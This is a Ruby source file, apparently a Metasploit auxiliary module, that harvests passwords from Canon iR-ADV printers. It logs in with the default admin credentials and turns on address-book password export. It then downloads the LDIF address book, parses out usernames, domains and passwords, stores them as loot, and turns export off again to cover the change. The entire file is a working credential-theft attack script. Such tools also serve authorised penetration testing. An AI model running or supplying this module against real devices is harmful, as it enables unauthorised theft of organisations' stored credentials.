216 lines
6.4 KiB
Ruby
216 lines
6.4 KiB
Ruby
#
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Canon IR-Adv Password Extractor',
|
|
'Description' => %q{
|
|
This module will extract the passwords from address books on various Canon IR-Adv mfp devices.
|
|
Tested models:
|
|
iR-ADV C2030,
|
|
iR-ADV 4045,
|
|
iR-ADV C5030,
|
|
iR-ADV C5235,
|
|
iR-ADV C5240,
|
|
iR-ADV 6055,
|
|
iR-ADV C7065
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Deral "Percentx" Heiland',
|
|
'Pete "Bokojan" Arzamendi',
|
|
'William Vu',
|
|
'Dev Mohanty'
|
|
],
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]),
|
|
OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]),
|
|
Opt::RPORT(8000),
|
|
OptString.new('USER', [ true, 'The default Admin user', '7654321']),
|
|
OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']),
|
|
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
|
|
|
|
], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}")
|
|
login(ip)
|
|
end
|
|
|
|
#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting
|
|
def login(ip)
|
|
vars_post = {
|
|
"uri" => "%2f",
|
|
"deptid" => "#{datastore['USER']}",
|
|
"password" => "#{datastore['PASSWD']}"
|
|
}
|
|
begin
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri('/login'),
|
|
'vars_post' => vars_post
|
|
}, datastore['TIMEOUT'].to_i)
|
|
end
|
|
|
|
#grab Canon sessionid cookie
|
|
idcookie = res.nil? ? nil : res.get_cookies
|
|
|
|
if res.code == 301 || res.code == 302 && res.headers.include?('Location')
|
|
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")
|
|
|
|
#grab Canon IR= session cookie
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri('/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064'),
|
|
'headers' => {'Cookie' => "#{idcookie}"},
|
|
}, datastore['TIMEOUT'].to_i)
|
|
ircookie = res.nil? ? nil : res.get_cookies
|
|
cookies=("#{idcookie}; #{ircookie}")
|
|
|
|
set_allow(cookies)
|
|
extract(cookies, ip)
|
|
set_disallow(cookies)
|
|
|
|
else
|
|
print_error("Failed to login on #{rhost}. Please check the password for the #{datastore['USER']} account ")
|
|
end
|
|
end
|
|
|
|
|
|
# Set the allow password export to on
|
|
def set_allow(cookies)
|
|
vars_post = {
|
|
"ADRSEXPPSWDCHK" => "0",
|
|
"PageFlag" => "c_adrs.tpl",
|
|
"Flag" => "Exec_Data",
|
|
"CoreNXAction" => "./cadrs.cgi",
|
|
"CoreNXPage" => "c_adrexppass.tpl",
|
|
"CoreNXFlag" => "Init_Data",
|
|
"Dummy" => "1359048058115"
|
|
}
|
|
begin
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri('/rps/cadrs.cgi'),
|
|
'vars_post' => vars_post,
|
|
'headers' => {'Cookie' => "#{cookies}"},
|
|
}, datastore['TIMEOUT'].to_i)
|
|
end
|
|
end
|
|
|
|
# Extract the adress book data and save out to loot
|
|
def extract(cookies, ip)
|
|
vars_post = {
|
|
"AID" => "#{datastore['ADDRSBOOK']}",
|
|
"ACLS" => "1",
|
|
"ENC_MODE" => "0",
|
|
"ENC_FILE" => "password",
|
|
"PASSWD" => "",
|
|
"PageFlag" => "",
|
|
"AMOD" => "",
|
|
"Dummy" => "1359047882596",
|
|
"ERR_PG_KIND_FLG" => "Adress_Export"
|
|
}
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri('/rps/abook.ldif'),
|
|
'vars_post' => vars_post,
|
|
'headers' => {'Cookie' => "#{cookies}"},
|
|
}, datastore['TIMEOUT'].to_i)
|
|
address_book = res.nil? ? nil : res.body
|
|
print_status("#{address_book}")
|
|
|
|
#Woot we got loot.
|
|
loot_name = "canon.iradv.addressbook"
|
|
loot_type = "text/plain"
|
|
loot_filename = "Canon-addressbook.text"
|
|
loot_desc = "Canon Addressbook Harvester"
|
|
p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc)
|
|
print_status("Credentials saved in: #{p}")
|
|
|
|
harvest_ldif(address_book, ip)
|
|
end
|
|
|
|
# Reset the allow password export to off
|
|
def set_disallow(cookies)
|
|
vars_post = {
|
|
"ADRSEXPPSWDCHK" => "1",
|
|
"PageFlag" => "c_adrs.tpl",
|
|
"Flag" => "Exec_Data",
|
|
"CoreNXAction" => "./cadrs.cgi",
|
|
"CoreNXPage" => "c_adrexppass.tpl",
|
|
"CoreNXFlag" => "Init_Data",
|
|
"Dummy" => "1359048058115"
|
|
}
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri('/rps/cadrs.cgi'),
|
|
'vars_post' => vars_post,
|
|
'headers' => {'Cookie' => "#{cookies}"},
|
|
}, datastore['TIMEOUT'].to_i)
|
|
end
|
|
|
|
# Harvest Credential
|
|
def harvest_ldif(address_book, ip)
|
|
harvest_file(address_book, ip)
|
|
end
|
|
|
|
def harvest_credentials(mailaddress, pwd, ip)
|
|
return if mailaddress == nil
|
|
username_domain = mailaddress.split('@')
|
|
username = username_domain[0]
|
|
domain = username_domain[1]
|
|
|
|
service_data = {
|
|
address: Rex::Socket.getaddress(ip),
|
|
port: rport,
|
|
protocol: 'tcp',
|
|
service_name: ssl ? 'https' : 'http',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: self.fullname,
|
|
username: username,
|
|
private_data: pwd,
|
|
private_type: :password
|
|
}
|
|
|
|
create_credential(credential_data.merge(service_data))
|
|
|
|
print_good "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r"
|
|
end
|
|
|
|
def harvest_file(ldif, ip)
|
|
users = []
|
|
ldif.split("\r\n\r\n").each do |user|
|
|
user_attributes = {}
|
|
user.split("\r\n").each do |attribute|
|
|
attribute_array = attribute.split(": ")
|
|
attr_name = attribute_array.shift
|
|
attr_value = attribute_array.join
|
|
user_attributes[attr_name] = attr_value
|
|
end
|
|
harvest_credentials((user_attributes['username'] || user_attributes['mailaddress'] || user_attributes['mail']), user_attributes['pwd'], ip)
|
|
users << user_attributes
|
|
end
|
|
end
|
|
|
|
end
|